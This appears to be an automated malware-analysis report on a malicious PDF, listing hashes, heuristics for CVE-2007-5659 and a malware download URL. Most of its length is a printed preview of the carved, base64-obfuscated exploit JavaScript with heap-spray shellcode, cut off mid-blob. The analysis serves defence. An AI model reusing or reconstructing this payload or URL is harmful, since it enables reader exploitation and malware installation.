Malicious PDF — malware analysis report

Static analysis result for SHA-256 3a2ad8270f775a94…

MALICIOUS

PDF

3.0 KB First seen: 2026-05-10
MD5: 2549eed750618221369d425f0035a993 SHA-1: ac4d0711c38456c434b1d57d3df209c111058694 SHA-256: 3a2ad8270f775a94bbdb689c41cf00944d2462d90c6958fb93b4ce56d235d334
258 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 JavaScript/JScript T1204.002 Malicious File

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings related to PDF JavaScript actions and streams. The extracted artifact 'javascript_obj0009_000.js' is a large JavaScript file, suggesting it is the primary payload. The JavaScript is likely obfuscated and designed to perform malicious actions, such as downloading a second-stage payload or exploiting vulnerabilities, although the exact functionality cannot be determined without further analysis of the deobfuscated script. The 'unknown_exploit_score' of 97 further supports the presence of an exploit.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
          chr3 = ((enc3 & 3) << 6) | enc4;
      output = output + String.fromCharCode(chr1);
      if (enc3 != 64) {
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://tthhllkk.info//getexe.php?spl=pdf_exp Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0009_000.js pdf-javascript-stream PDF /JS object 9 at offset 0xD6 21209 bytes
SHA-256: 3cfd1887eea5eb6361d96ef63bab985469d432fb0030416c4d55ae6d62f62d78
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var keyXXXStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
function decode64(input) {
   var output = "";
   var chr1, chr2, chr3;
   var enc1, enc2, enc3, enc4;
   var i = 0;
   input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
   do {
      enc1 = keyXXXStr.indexOf(input.charAt(i++));
      enc2 = keyXXXStr.indexOf(input.charAt(i++));
      enc3 = keyXXXStr.indexOf(input.charAt(i++));
      enc4 = keyXXXStr.indexOf(input.charAt(i++));
      chr1 = (enc1 << 2) | (enc2 >> 4);
      chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
      chr3 = ((enc3 & 3) << 6) | enc4;
      output = output + String.fromCharCode(chr1);
      if (enc3 != 64) {
         output = output + String.fromCharCode(chr2);
      }
      if (enc4 != 64) {
         output = output + String.fromCharCode(chr3);
      }
   } while (i < input.length);
   return output;
}
var aasd = decode64("CiB2YXIgSVZna29HTlRJcVEgPSBuZXcgQXJyYXkoKTsKIHZhciBrNTcyVHdDSHZaVDsKIHZhciBsYXZlID0gZXZhbDsKICBsYXZlKHVuZXNjYXBlKCIlMjAlMjAlNjYlNzUlNmUlNjMlNzQlNjklNmYlNmUlMjAlNjIlNjYlNTUlMzglNGMlNTUlMzklNTQlNjklNzQlNTglMjglNGYlNjIlNjElNGIlNTklNDMlNmMlMzclNTIlNzAlNmQlMmMlMjAlNjYlNmUlMzclNjglNTYlNTMlNmIlNDklNjklNTklNjIlMjklMjAlMjAlN2IlMjAlMjAlMjAlMjAlNzclNjglNjklNmMlNjUlMjglNGYlNjIlNjElNGIlNTklNDMlNmMlMzclNTIlNzAlNmQlMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlMmElMjAlMzIlMjAlM2MlMjAlNjYlNmUlMzclNjglNTYlNTMlNmIlNDklNjklNTklNjIlMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNGYlNjIlNjElNGIlNTklNDMlNmMlMzclNTIlNzAlNmQlMjAlMmIlM2QlMjAlNGYlNjIlNjElNGIlNTklNDMlNmMlMzclNTIlNzAlNmQlM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlNGYlNjIlNjElNGIlNTklNDMlNmMlMzclNTIlNzAlNmQlMjAlM2QlMjAlNGYlNjIlNjElNGIlNTklNDMlNmMlMzclNTIlNzAlNmQlMmUlNzMlNzUlNjIlNzMlNzQlNzIlNjklNmUlNjclMjglMzAlMmMlMjAlNjYlNmUlMzclNjglNTYlNTMlNmIlNDklNjklNTklNjIlMjAlMmYlMjAlMzIlMjklM2IlMjAlMjAlMjAlMjAlNzIlNjUlNzQlNzUlNzIlNmUlMjAlNGYlNjIlNjElNGIlNTklNDMlNmMlMzclNTIlNzAlNmQlM2IlMjAlMjAlN2QlMjAiKSk7ICBsYXZlKHVuZXNjYXBlKCIlMjAlMjAlMjAlNjYlNzUlNmUlNjMlNzQlNjklNmYlNmUlMjAlNmMlNDQlMzUlNmYlNGMlNTIlNjYlNGIlNjUlNDQlNGQlMjglNjUlNDUlN2ElMzMlNjclNzElNDUlNTElNzQlNzYlMzklMjklMjAlMjAlN2IlMjAlMjAlMjAlMjAlNjklNjYlMjglNjUlNDUlN2ElMzMlNjclNzElNDUlNTElNzQlNzYlMzklMjAlM2QlM2QlMjAlMzAlMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNDglNTglMzUlNDUlNTAlNTAlNzglNDMlNzQlMzglMzglMjAlM2QlMjAlMzAlNzglMzAlNjMlMzAlNjMlMzAlNjMlMzAlNjMlM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNDYlNWElMzklNTclNmQlNjYlMzQlNDQlNzElNzclN2ElMjAlM2QlMjAlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzglNDIlMzYlMzQlMjUlNzUlMzMlMzAlMzQlMzAlMjUlNzUlMzAlNDMlMzclMzglMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDIlMzAlNDMlMjUlNzUlMzElNDMlMzclMzAlMjUlNzUlMzglNDIlNDElNDQlMjUlNzUlMzAlMzglMzUlMzglMjUlNzUlMzAlMzklNDUlNDIlMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDQlMzMlMzQlMjUlNzUlMzclNDMlMzQlMzAlMjUlNzUlMzUlMzglMzglNDIlMjUlNzUlMzYlNDElMzMlNDMlMjUlNzUlMzUlNDElMzQlMzQlMjUlNzUlNDUlMzIlNDQlMzElMjUlNzUlNDUlMzIlMzIlNDIlMjUlNzUlNDUlNDMlMzglNDIlMjUlNzUlMzQlNDYlNDUlNDIlMjUlNzUlMzUlMzIlMzUlNDElMjUlNzUlNDUlNDElMzglMzMlMjUlNzUlMzglMzklMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzclMzUlMzYlMjUlNzUlMzclMzMlMzglNDIlMjUlNzUlMzglNDIlMzMlNDMlMjUlNzUlMzMlMzMlMzclMzQlMjUlNzUlMzAlMzMlMzclMzglMjUlNzUlMzUlMzYlNDYlMzMlMjUlNzUlMzclMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzAlMjUlNzUlMzMlMzMlNDYlMzMlMjUlNzUlMzQlMzklNDMlMzklMjUlNzUlMzQlMzElMzUlMzAlMjUlNzUlMzMlMzMlNDElNDQlMjUlNzUlMzMlMzYlNDYlNDYlMjUlNzUlNDIlNDUlMzAlNDYlMjUlNzUlMzAlMzMlMzElMzQlMjUlNzUlNDYlMzIlMzMlMzglMjUlNzUlMzAlMzglMzclMzQlMjUlNzUlNDMlNDYlNDMlMzElMjUlNzUlMzAlMzMlMzAlNDQlMjUlNzUlMzQlMzAlNDYlNDElMjUlNzUlNDUlNDYlNDUlNDIlMjUlNzUlMzMlNDIlMzUlMzglMjUlNzUlMzclMzUlNDYlMzglMjUlNzUlMzUlNDUlNDUlMzUlMjUlNzUlMzQlMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzQlMjUlNzUlMzYlMzYlNDMlMzMlMjUlNzUlMzAlNDMlMzglNDIlMjUlNzUlMzglNDIlMzQlMzglMjUlNzUlMzElNDMlMzUlMzYlMjUlNzUlNDQlMzMlMzAlMzMlMjUlNzUlMzAlMzQlMzglNDIlMjUlNzUlMzAlMzMlMzglNDElMjUlNzUlMzUlNDYlNDMlMzMlMjUlNzUlMzUlMzAlMzUlNDUlMjUlNzUlMzglNDQlNDMlMzMlMjUlNzUlMzAlMzglMzclNDQlMjUlNzUlMzUlMzIlMzUlMzclMjUlNzUlMzMlMzMlNDIlMzglMjUlNzUlMzglNDElNDMlNDElMjUlNzUlNDUlMzglMzUlNDIlMjUlNzUlNDYlNDYlNDElMzIlMjUlNzUlNDYlNDYlNDYlNDYlMjUlNzUlNDMlMzAlMzMlMzIlMjUlNzUlNDYlMzclMzglNDIlMjUlNzUlNDElNDUlNDYlMzIlMjUlNzUlNDIlMzglMzQlNDYlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzYlMzYlNDElNDIlMjUlNzUlMzYlMzYlMzklMzglMjUlNzUlNDIlMzAlNDElNDIlMjUlNzUlMzglNDElMzYlNDMlMjUlNzUlMzklMzglNDUlMzAlMjUlNzUlMzYlMzglMzUlMzAlMjUlNzUlMzYlNDUlMzYlNDYlMjUlNzUlMzYlMzQlMzIlNDUlMjUlNzUlMzclMzUlMzYlMzglMjUlNzUlMzYlNDMlMzclMzIlMjUlNzUlMzUlMzQlMzYlNDQlMjUlNzUlMzglNDUlNDIlMzglMjUlNzUlMzAlNDUlMzQlNDUlMjUlNzUlNDYlNDYlNDUlNDMlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzAlMzklMzMlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzUlMzAlMzUlMzAlMjUlNzUlMzglNDIlMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlNDMlMzIlMzglMzMlMjUlNzUlMzglMzMlMzclNDYlMjUlNzUlMzMlMzElNDMlMzIlMjUlNzUlMzUlMzAlMzUlMzIlMjUlNzUlMzMlMzYlNDIlMzglMjUlNzUlMzIlNDYlMzElNDElMjUlNzUlNDYlNDYlMzclMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzMlMzMlMzUlNDIlMjUlNzUlMzUlMzclNDYlNDYlMjUlNzUlNDIlMzglMzUlMzYlMjUlNzUlNDYlNDUlMzklMzglMjUlNzUlMzAlNDUlMzglNDElMjUlNzUlMzUlMzUlNDYlNDYlMjUlNzUlMzUlMzclMzAlMzQlMjUlNzUlNDUlNDYlNDIlMzglMjUlNzUlNDUlMzAlNDMlNDUlMjUlNzUlNDYlNDYlMzYlMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzclMzQlMzYlMzglMjUlNzUlMzclMzAlMzclMzQlMjUlNzUlMzIlNDYlMzMlNDElMjUlNzUlMzclMzQlMzIlNDYlMjUlNzUlMzYlMzglMzclMzQlMjUlNzUlMzYlNDMlMzYlMzglMjUlNzUlMzYlNDIlMzYlNDMlMjUlNzUlMzIlNDUlMzYlNDIlMjUlNzUlMzYlNDUlMzYlMzklMjUlNzUlMzYlNDYlMzYlMzYlMjUlNzUlMzIlNDYlMzIlNDYlMjUlNzUlMzYlMzUlMzYlMzclMjUlNzUlMzYlMzUlMzclMzQlMjUlNzUlMzYlMzUlMzclMzglMjUlNzUlMzclMzAlMzIlNDUlMjUlNzUlMzclMzAlMzYlMzglMjUlNzUlMzclMzMlMzMlNDYlMjUlNzUlMzYlNDMlMzclMzAlMjUlNzUlMzclMzAlMzMlNDQlMjUlNzUlMzYlMzYlMzYlMzQlMjUlNzUlMzYlMzUlMzUlNDYlMjUlNzUlMzclMzAlMzclMzglMjIlMjklM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlNjUlNmMlNzMlNjUlMjAlNjklNjYlMjglNjUlNDUlN2ElMzMlNjclNzElNDUlNTElNzQlNzYlMzklMjAlM2QlM2QlMjAlMzElMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNDglNTglMzUlNDUlNTAlNTAlNzglNDMlNzQlMzglMzglMjAlM2QlMjAlMzAlNzglMzMlMzAlMzMlMzAlMzMlMzAlMzMlMzAlM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNDYlNWElMzklNTclNmQlNjYlMzQlNDQlNzElNzclN2ElMjAlM2QlMjAlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzglNDIlMzYlMzQlMjUlNzUlMzMlMzAlMzQlMzAlMjUlNzUlMzAlNDMlMzclMzglMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDIlMzAlNDMlMjUlNzUlMzElNDMlMzclMzAlMjUlNzUlMzglNDIlNDElNDQlMjUlNzUlMzAlMzglMzUlMzglMjUlNzUlMzAlMzklNDUlNDIlMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDQlMzMlMzQlMjUlNzUlMzclNDMlMzQlMzAlMjUlNzUlMzUlMzglMzglNDIlMjUlNzUlMzYlNDElMzMlNDMlMjUlNzUlMzUlNDElMzQlMzQlMjUlNzUlNDUlMzIlNDQlMzElMjUlNzUlNDUlMzIlMzIlNDIlMjUlNzUlNDUlNDMlMzglNDIlMjUlNzUlMzQlNDYlNDUlNDIlMjUlNzUlMzUlMzIlMzUlNDElMjUlNzUlNDUlNDElMzglMzMlMjUlNzUlMzglMzklMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzclMzUlMzYlMjUlNzUlMzclMzMlMzglNDIlMjUlNzUlMzglNDIlMzMlNDMlMjUlNzUlMzMlMzMlMzclMzQlMjUlNzUlMzAlMzMlMzclMzglMjUlNzUlMzUlMzYlNDYlMzMlMjUlNzUlMzclMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzAlMjUlNzUlMzMlMzMlNDYlMzMlMjUlNzUlMzQlMzklNDMlMzklMjUlNzUlMzQlMzElMzUlMzAlMjUlNzUlMzMlMzMlNDElNDQlMjUlNzUlMzMlMzYlNDYlNDYlMjUlNzUlNDIlNDUlMzAlNDYlMjUlNzUlMzAlMzMlMzElMzQlMjUlNzUlNDYlMzIlMzMlMzglMjUlNzUlMzAlMzglMzclMzQlMjUlNzUlNDMlNDYlNDMlMzElMjUlNzUlMzAlMzMlMzAlNDQlMjUlNzUlMzQlMzAlNDYlNDElMjUlNzUlNDUlNDYlNDUlNDIlMjUlNzUlMzMlNDIlMzUlMzglMjUlNzUlMzclMzUlNDYlMzglMjUlNzUlMzUlNDUlNDUlMzUlMjUlNzUlMzQlMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzQlMjUlNzUlMzYlMzYlNDMlMzMlMjUlNzUlMzAlNDMlMzglNDIlMjUlNzUlMzglNDIlMzQlMzglMjUlNzUlMzElNDMlMzUlMzYlMjUlNzUlNDQlMzMlMzAlMzMlMjUlNzUlMzAlMzQlMzglNDIlMjUlNzUlMzAlMzMlMzglNDElMjUlNzUlMzUlNDYlNDMlMzMlMjUlNzUlMzUlMzAlMzUlNDUlMjUlNzUlMzglNDQlNDMlMzMlMjUlNzUlMzAlMzglMzclNDQlMjUlNzUlMzUlMzIlMzUlMzclMjUlNzUlMzMlMzMlNDIlMzglMjUlNzUlMzglNDElNDMlNDElMjUlNzUlNDUlMzglMzUlNDIlMjUlNzUlNDYlNDYlNDElMzIlMjUlNzUlNDYlNDYlNDYlNDYlMjUlNzUlNDMlMzAlMzMlMzIlMjUlNzUlNDYlMzclMzglNDIlMjUlNzUlNDElNDUlNDYlMzIlMjUlNzUlNDIlMzglMzQlNDYlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzYlMzYlNDElNDIlMjUlNzUlMzYlMzYlMzklMzglMjUlNzUlNDIlMzAlNDElNDIlMjUlNzUlMzglNDElMzYlNDMlMjUlNzUlMzklMzglNDUlMzAlMjUlNzUlMzYlMzglMzUlMzAlMjUlNzUlMzYlNDUlMzYlNDYlMjUlNzUlMzYlMzQlMzIlNDUlMjUlNzUlMzclMzUlMzYlMzglMjUlNzUlMzYlNDMlMzclMzIlMjUlNzUlMzUlMzQlMzYlNDQlMjUlNzUlMzglNDUlNDIlMzglMjUlNzUlMzAlNDUlMzQlNDUlMjUlNzUlNDYlNDYlNDUlNDMlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzAlMzklMzMlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzUlMzAlMzUlMzAlMjUlNzUlMzglNDIlMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlNDMlMzIlMzglMzMlMjUlNzUlMzglMzMlMzclNDYlMjUlNzUlMzMlMzElNDMlMzIlMjUlNzUlMzUlMzAlMzUlMzIlMjUlNzUlMzMlMzYlNDIlMzglMjUlNzUlMzIlNDYlMzElNDElMjUlNzUlNDYlNDYlMzclMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzMlMzMlMzUlNDIlMjUlNzUlMzUlMzclNDYlNDYlMjUlNzUlNDIlMzglMzUlMzYlMjUlNzUlNDYlNDUlMzklMzglMjUlNzUlMzAlNDUlMzglNDElMjUlNzUlMzUlMzUlNDYlNDYlMjUlNzUlMzUlMzclMzAlMzQlMjUlNzUlNDUlNDYlNDIlMzglMjUlNzUlNDUlMzAlNDMlNDUlMjUlNzUlNDYlNDYlMzYlMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzclMzQlMzYlMzglMjUlNzUlMzclMzAlMzclMzQlMjUlNzUlMzIlNDYlMzMlNDElMjUlNzUlMzclMzQlMzIlNDYlMjUlNzUlMzYlMzglMzclMzQlMjUlNzUlMzYlNDMlMzYlMzglMjUlNzUlMzYlNDIlMzYlNDMlMjUlNzUlMzIlNDUlMzYlNDIlMjUlNzUlMzYlNDUlMzYlMzklMjUlNzUlMzYlNDYlMzYlMzYlMjUlNzUlMzIlNDYlMzIlNDYlMjUlNzUlMzYlMzUlMzYlMzclMjUlNzUlMzYlMzUlMzclMzQlMjUlNzUlMzYlMzUlMzclMzglMjUlNzUlMzclMzAlMzIlNDUlMjUlNzUlMzclMzAlMzYlMzglMjUlNzUlMzclMzMlMzMlNDYlMjUlNzUlMzYlNDMlMzclMzAlMjUlNzUlMzclMzAlMzMlNDQlMjUlNzUlMzYlMzYlMzYlMzQlMjUlNzUlMzYlMzUlMzUlNDYlMjUlNzUlMzclMzAlMzclMzglMjIlMjklM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlNjUlNmMlNzMlNjUlMjAlNjklNjYlMjglNjUlNDUlN2ElMzMlNjclNzElNDUlNTElNzQlNzYlMzklMjAlM2QlM2QlMjAlMzIlMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNDYlNWElMzklNTclNmQlNjYlMzQlNDQlNzElNzclN2ElMjAlM2QlMjAlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzglNDIlMzYlMzQlMjUlNzUlMzMlMzAlMzQlMzAlMjUlNzUlMzAlNDMlMzclMzglMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDIlMzAlNDMlMjUlNzUlMzElNDMlMzclMzAlMjUlNzUlMzglNDIlNDElNDQlMjUlNzUlMzAlMzglMzUlMzglMjUlNzUlMzAlMzklNDUlNDIlMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDQlMzMlMzQlMjUlNzUlMzclNDMlMzQlMzAlMjUlNzUlMzUlMzglMzglNDIlMjUlNzUlMzYlNDElMzMlNDMlMjUlNzUlMzUlNDElMzQlMzQlMjUlNzUlNDUlMzIlNDQlMzElMjUlNzUlNDUlMzIlMzIlNDIlMjUlNzUlNDUlNDMlMzglNDIlMjUlNzUlMzQlNDYlNDUlNDIlMjUlNzUlMzUlMzIlMzUlNDElMjUlNzUlNDUlNDElMzglMzMlMjUlNzUlMzglMzklMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzclMzUlMzYlMjUlNzUlMzclMzMlMzglNDIlMjUlNzUlMzglNDIlMzMlNDMlMjUlNzUlMzMlMzMlMzclMzQlMjUlNzUlMzAlMzMlMzclMzglMjUlNzUlMzUlMzYlNDYlMzMlMjUlNzUlMzclMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzAlMjUlNzUlMzMlMzMlNDYlMzMlMjUlNzUlMzQlMzklNDMlMzklMjUlNzUlMzQlMzElMzUlMzAlMjUlNzUlMzMlMzMlNDElNDQlMjUlNzUlMzMlMzYlNDYlNDYlMjUlNzUlNDIlNDUlMzAlNDYlMjUlNzUlMzAlMzMlMzElMzQlMjUlNzUlNDYlMzIlMzMlMzglMjUlNzUlMzAlMzglMzclMzQlMjUlNzUlNDMlNDYlNDMlMzElMjUlNzUlMzAlMzMlMzAlNDQlMjUlNzUlMzQlMzAlNDYlNDElMjUlNzUlNDUlNDYlNDUlNDIlMjUlNzUlMzMlNDIlMzUlMzglMjUlNzUlMzclMzUlNDYlMzglMjUlNzUlMzUlNDUlNDUlMzUlMjUlNzUlMzQlMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzQlMjUlNzUlMzYlMzYlNDMlMzMlMjUlNzUlMzAlNDMlMzglNDIlMjUlNzUlMzglNDIlMzQlMzglMjUlNzUlMzElNDMlMzUlMzYlMjUlNzUlNDQlMzMlMzAlMzMlMjUlNzUlMzAlMzQlMzglNDIlMjUlNzUlMzAlMzMlMzglNDElMjUlNzUlMzUlNDYlNDMlMzMlMjUlNzUlMzUlMzAlMzUlNDUlMjUlNzUlMzglNDQlNDMlMzMlMjUlNzUlMzAlMzglMzclNDQlMjUlNzUlMzUlMzIlMzUlMzclMjUlNzUlMzMlMzMlNDIlMzglMjUlNzUlMzglNDElNDMlNDElMjUlNzUlNDUlMzglMzUlNDIlMjUlNzUlNDYlNDYlNDElMzIlMjUlNzUlNDYlNDYlNDYlNDYlMjUlNzUlNDMlMzAlMzMlMzIlMjUlNzUlNDYlMzclMzglNDIlMjUlNzUlNDElNDUlNDYlMzIlMjUlNzUlNDIlMzglMzQlNDYlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzYlMzYlNDElNDIlMjUlNzUlMzYlMzYlMzklMzglMjUlNzUlNDIlMzAlNDElNDIlMjUlNzUlMzglNDElMzYlNDMlMjUlNzUlMzklMzglNDUlMzAlMjUlNzUlMzYlMzglMzUlMzAlMjUlNzUlMzYlNDUlMzYlNDYlMjUlNzUlMzYlMzQlMzIlNDUlMjUlNzUlMzclMzUlMzYlMzglMjUlNzUlMzYlNDMlMzclMzIlMjUlNzUlMzUlMzQlMzYlNDQlMjUlNzUlMzglNDUlNDIlMzglMjUlNzUlMzAlNDUlMzQlNDUlMjUlNzUlNDYlNDYlNDUlNDMlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzAlMzklMzMlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzUlMzAlMzUlMzAlMjUlNzUlMzglNDIlMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlNDMlMzIlMzglMzMlMjUlNzUlMzglMzMlMzclNDYlMjUlNzUlMzMlMzElNDMlMzIlMjUlNzUlMzUlMzAlMzUlMzIlMjUlNzUlMzMlMzYlNDIlMzglMjUlNzUlMzIlNDYlMzElNDElMjUlNzUlNDYlNDYlMzclMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzMlMzMlMzUlNDIlMjUlNzUlMzUlMzclNDYlNDYlMjUlNzUlNDIlMzglMzUlMzYlMjUlNzUlNDYlNDUlMzklMzglMjUlNzUlMzAlNDUlMzglNDElMjUlNzUlMzUlMzUlNDYlNDYlMjUlNzUlMzUlMzclMzAlMzQlMjUlNzUlNDUlNDYlNDIlMzglMjUlNzUlNDUlMzAlNDMlNDUlMjUlNzUlNDYlNDYlMzYlMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzclMzQlMzYlMzglMjUlNzUlMzclMzAlMzclMzQlMjUlNzUlMzIlNDYlMzMlNDElMjUlNzUlMzclMzQlMzIlNDYlMjUlNzUlMzYlMzglMzclMzQlMjUlNzUlMzYlNDMlMzYlMzglMjUlNzUlMzYlNDIlMzYlNDMlMjUlNzUlMzIlNDUlMzYlNDIlMjUlNzUlMzYlNDUlMzYlMzklMjUlNzUlMzYlNDYlMzYlMzYlMjUlNzUlMzIlNDYlMzIlNDYlMjUlNzUlMzYlMzUlMzYlMzclMjUlNzUlMzYlMzUlMzclMzQlMjUlNzUlMzYlMzUlMzclMzglMjUlNzUlMzclMzAlMzIlNDUlMjUlNzUlMzclMzAlMzYlMzglMjUlNzUlMzclMzMlMzMlNDYlMjUlNzUlMzYlNDMlMzclMzAlMjUlNzUlMzclMzAlMzMlNDQlMjUlNzUlMzYlMzYlMzYlMzQlMjUlNzUlMzYlMzUlMzUlNDYlMjUlNzUlMzclMzAlMzclMzglMjIlMjklM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNDMlNDclMzklNDYlMzAlMzYlNjIlNTklNzclNTklNTMlMjAlM2QlMjAlMzAlNzglMzQlMzAlMzAlMzAlMzAlMzAlM2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzglNGElNzMlNzclNzIlNjIlNTYlMzclNGUlNmYlNzYlMjAlM2QlMjAlNDYlNWElMzklNTclNmQlNjYlMzQlNDQlNzElNzclN2ElMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlMmElMjAlMzIlM2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjYlNmUlMzclNjglNTYlNTMlNmIlNDklNjklNTklNjIlMjAlM2QlMjAlNDMlNDclMzklNDYlMzAlMzYlNjIlNTklNzclNTklNTMlMjAlMmQlMjAlMjglNzglNGElNzMlNzclNzIlNjIlNTYlMzclNGUlNmYlNzYlMjAlMmIlMjAlMzAlNzglMzMlMzglMjklM2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNGYlNjIlNjElNGIlNTklNDMlNmMlMzclNTIlNzAlNmQlMjAlM2QlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlMzklMzAlMzklMzAlMjUlNzUlMzklMzAlMzklMzAlMjIlMjklM2IlMjAlMjAlMjAlMjAlNGYlNjIlNjElNGIlNTklNDMlNmMlMzclNTIlNzAlNmQlMjAlM2QlMjAlNjIlNjYlNTUlMzglNGMlNTUlMzklNTQlNjklNzQlNTglMjglNGYlNjIlNjElNGIlNTklNDMlNmMlMzclNTIlNzAlNmQlMmMlMjAlNjYlNmUlMzclNjglNTYlNTMlNmIlNDklNjklNTklNjIlMjklM2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjQlNTklNTglNzQlNDQlNjElNmIlNzQlNDQlMzklNzQlMjAlM2QlMjAlMjglNDglNTglMzUlNDUlNTAlNTAlNzglNDMlNzQlMzglMzglMjAlMmQlMjAlMzAlNzglMzQlMzAlMzAlMzAlMzAlMzAlMjklMjAlMmYlMjAlNDMlNDclMzklNDYlMzAlMzYlNjIlNTklNzclNTklNTMlM2IlMjAlMjAlMjAlMjAlNjYlNmYl